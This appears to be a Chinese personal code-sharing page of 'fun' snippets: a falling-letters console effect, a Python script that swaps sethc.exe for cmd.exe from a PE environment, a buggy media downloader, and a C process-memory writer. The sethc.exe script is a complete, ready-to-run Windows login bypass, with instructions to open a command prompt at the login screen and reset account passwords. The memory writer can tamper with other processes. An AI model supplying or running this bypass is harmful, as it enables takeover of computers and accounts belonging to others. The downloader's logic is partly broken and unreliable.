logo
loading
这里会不定时加一些有趣好玩的代码,可以自己拿去试试
python
#这是一个简单的装13脚本 import os import random import time a='qwertyuiopasdfghjklzxcvbnm' os.system("color 2") while True: for i in range(random.randint(0,200)): print(a[random.randint(0,25)],end="") print("\n") time.sleep(0.01)
python
#这是一个电脑开机密码破解脚本 #在pe系统中运行程序 #重启电脑在密码输入界面按5次shift弹出cmd命令框,输入:(每输入一条按一次回车) #1:“net user” #2:“net user 你的用户名 新密码” #输入新密码 import os import sys import subprocess import string import time # 颜色控制(PE下不一定支持,但加上不会报错) try: from colorama import init, Fore, Style init(autoreset=True) GREEN = Fore.GREEN RED = Fore.RED YELLOW = Fore.YELLOW CYAN = Fore.CYAN RESET = Style.RESET_ALL except ImportError: # PE下没有colorama就用空字符串 GREEN = RED = YELLOW = CYAN = RESET = "" def print_info(msg): print(f"{CYAN}[INFO]{RESET} {msg}") def print_success(msg): print(f"{GREEN}[SUCCESS]{RESET} {msg}") def print_warning(msg): print(f"{YELLOW}[WARNING]{RESET} {msg}") def print_error(msg): print(f"{RED}[ERROR]{RESET} {msg}") def get_target_system32(): """ 自动定位目标系统的真实 System32 目录。 关键修复:如果当前PE是32位,而目标系统是64位, 必须通过 C:\Windows\Sysnative 来访问真实的 System64 目录, 否则会被 WOW64 重定向到 SysWOW64。 """ for drive in string.ascii_uppercase: # 跳过软驱和PE系统盘 if drive in ('A', 'B', 'X'): continue drive_root = f"{drive}:\\" windows_dir = os.path.join(drive_root, "Windows") if not os.path.exists(windows_dir): continue # 1. 优先检测 Sysnative(32位PE访问64位系统时的魔法目录) sysnative_path = os.path.join(windows_dir, "Sysnative") if os.path.exists(sysnative_path): # 验证里面有没有 cmd.exe if os.path.exists(os.path.join(sysnative_path, "cmd.exe")): print_info(f"检测到 32位PE + 64位系统,使用 Sysnative 绕过重定向") return sysnative_path, f"{drive}:" # 2. 检测正常的 System32(64位PE 或 32位系统) system32_path = os.path.join(windows_dir, "System32") if os.path.exists(system32_path): if os.path.exists(os.path.join(system32_path, "cmd.exe")): return system32_path, f"{drive}:" return None, None def run_cmd(command): """封装 subprocess,执行CMD命令并返回是否成功""" try: result = subprocess.run( command, shell=True, capture_output=True, text=True, encoding='gbk' # PE中文系统用gbk ) if result.returncode == 0: return True, result.stdout else: return False, result.stderr except Exception as e: return False, str(e) def main(): print("=" * 60) print(" PE 一键替换粘滞键 (专业完善版)") print(" 支持 32/64位PE自适应,自带回滚机制") print("=" * 60) # ---------- 第一步:定位系统目录 ---------- print_info("正在扫描目标系统的 System32 目录...") target_sys32, sys_drive = get_target_system32() if not target_sys32: print_error("未找到有效的 Windows 系统目录!") print_info("请确认硬盘已正确连接,且包含完整的 Windows 系统。") input("按回车键退出...") sys.exit(1) print_success(f"系统盘符: {sys_drive}") print_success(f"目标路径: {target_sys32}") # ---------- 第二步:准备文件路径 ---------- sethc = os.path.join(target_sys32, "sethc.exe") backup = os.path.join(target_sys32, "sethc.exe.bak") cmd_exe = os.path.join(target_sys32, "cmd.exe") # 检查 cmd.exe 是否存在(理论上一定存在) if not os.path.exists(cmd_exe): print_error(f"在 {target_sys32} 下找不到 cmd.exe,请检查路径!") input("按回车键退出...") sys.exit(1) print_info(f"原始文件: {sethc}") print_info(f"备份文件: {backup}") print_info(f"替换来源: {cmd_exe}") # ---------- 第三步:备份原始文件 ---------- print_info("正在备份原始 sethc.exe ...") if os.path.exists(backup): print_warning("备份文件已存在,跳过备份步骤。") else: if os.path.exists(sethc): # 使用 move 命令重命名(比 rename 更稳定) success, output = run_cmd(f'move "{sethc}" "{backup}"') if success: print_success("备份成功!") else: print_error(f"备份失败: {output}") input("按回车键退出...") sys.exit(1) else: print_warning("未找到 sethc.exe,可能已经被替换过。继续执行覆盖...") # ---------- 第四步:替换文件 ---------- print_info("正在用 cmd.exe 替换 sethc.exe ...") success, output = run_cmd(f'copy /y "{cmd_exe}" "{sethc}"') if not success: print_error(f"替换失败: {output}") # ---------- 第五步:回滚机制(自动恢复备份) ---------- print_warning("正在尝试回滚恢复备份...") if os.path.exists(backup): rollback_success, _ = run_cmd(f'move "{backup}" "{sethc}"') if rollback_success: print_success("已成功回滚,系统文件已恢复。") else: print_error("回滚失败!建议手动恢复备份文件。") else: print_error("没有找到备份文件,无法回滚。") input("按回车键退出...") sys.exit(1) # ---------- 第六步:验证结果 ---------- # 检查替换后的文件大小是否和 cmd.exe 一致(快速验证) try: if os.path.exists(sethc) and os.path.getsize(sethc) == os.path.getsize(cmd_exe): print_success("替换验证通过 (文件大小匹配)!") else: print_warning("替换验证警告:文件大小不匹配,但操作可能仍然成功。") except Exception: pass # ---------- 第七步:完成提示 ---------- print("\n" + "=" * 60) print_success("🎉 所有操作已完成!") print_info("重启电脑后,在登录界面连续按 5 次 Shift 键") print_info("即可弹出命令提示符,输入 net user 用户名 新密码 来重置。") print("=" * 60) # 等待用户确认再退出(防止PE下黑窗一闪而过) input("\n按回车键退出程序...") if __name__ == "__main__": main()
python
#这是一个简单的小爬虫脚本 #可以爬一些网页图片视频,照片之类的 import sys import requests # 可爬取的资源类型和格式+ scope=['网页','视频','音频','图片'] file_format_s=['jpg','jpeg','png','gif'] while True: file_kind=input('你要爬区什么文件 网页/视频/音频/图片 输入stop停止') # 判断是否停止运行 if file_kind == 'stop': sys.exit() # 判断是否是规定的内容 while True: if file_kind not in scope: print('请选择规定的内容') file_kind=input('请重新选择 网页/视频/音频/图片 输入stop停止') if file_kind == 'stop': sys.exit() else: break url=input('请输入要爬取的资源的地址') name=input('请给你的文件命个名') # 图片爬取 if file_kind == '图片': file_format=input('你想用什么格式保存图片 jpg/jpeg/png/gif') # 判断是否是规定的格式 while True: if file_format not in file_format_s: print('请选择规定的格式') file_format=input('请重新选择 jpg/jpeg/png/gif 输入stop停止') if file_format == 'stop': sys.exit() else: break # 开始爬取 res=requests.get(url,headers) print(res.status_code) print(res.content) photo = open(f"{name}.{file_format}",'wb') photo.write(res.content) photo.close() # 网页爬取 elif file_kind == '网页': res = requests.get(url) res.encoding = 'utf-8' print(res.status_code) print(res.text) webpage = open(f"{name}.html", 'w', encoding='utf-8') webpage.write(res.text) webpage.close() # 视频爬取 elif file_kind == '视频': res=requests.get(url) print(res.status_code) print(res.content) video = open(f"{name}.mp4",'wb') video.write(res.content) video.close() # 音频爬取 elif file_kind == '音频': res=requests.get(url) print(res.status_code) print(res.content) audio = open(f"{name}.mp3",'wb') audio.write(res.content) audio.close() #再次爬取 while True: off=input('是否再来') if off == '是'or '否': if off == '是': break else: sys.exit() else: off=input("请重新输入")
C
//这是一个简单的内存修改器 #include <windows.h>> #include <stdio.h>> #include <string.h> #define BUF_LEN 256 int main() { HANDLE hProcess; DWORD pid; LPVOID memAddr; int select; // 数字缓存 int numVal; // 字符串缓存 char strBuf[BUF_LEN] = { 0 }; SIZE_T writeSize; BOOL writeRet; printf("===== Windows简易内存修改器 =====\n"); printf("1. 请输入目标进程PID(句柄数值): "); scanf("%d", &pid); getchar(); // 吸收换行符 // 打开进程,赋予读写内存权限 hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); if (hProcess == NULL) { printf("打开进程失败!错误码: %d\n", GetLastError()); system("pause"); return -1; } printf("进程打开成功\n\n"); printf("2. 输入要修改的内存地址(十六进制 例如 0x00A12340): "); scanf("%p", &memAddr); getchar(); printf("\n请选择修改数据类型:\n"); printf("1 - 修改整数数字\n"); printf("2 - 修改字符串文本\n"); printf("输入选择: "); scanf("%d", &select); getchar(); if (select == 1) { printf("输入要写入的整数值: "); scanf("%d", &numVal); // 写入4字节int writeRet = WriteProcessMemory(hProcess, memAddr, &numVal, sizeof(int), &writeSize); writeSize = sizeof(int); } else if (select == 2) { printf("输入要写入的字符串内容: "); fgets(strBuf, BUF_LEN, stdin); // 去除fgets读取的换行符 strBuf[strcspn(strBuf, "\n")] = '\0'; writeSize = strlen(strBuf) + 1; // +1 包含字符串结束符\0 writeRet = WriteProcessMemory(hProcess, memAddr, strBuf, writeSize, &writeSize); } else { printf("输入类型错误,程序退出\n"); CloseHandle(hProcess); system("pause"); return -1; } // 操作结果判断 if (writeRet) { printf("\n 内存修改成功!共写入 %lu 字节数据\n", writeSize); } else { printf("\n 内存写入失败!错误码: %d\n", GetLastError()); printf("常见原因:地址非法、权限不足、进程已关闭\n"); } // 释放句柄 CloseHandle(hProcess); printf("\n程序结束,按任意键关闭窗口...\n"); system("pause"); return 0; }
© 2026 All Rights Reserved | Made with Code & Passion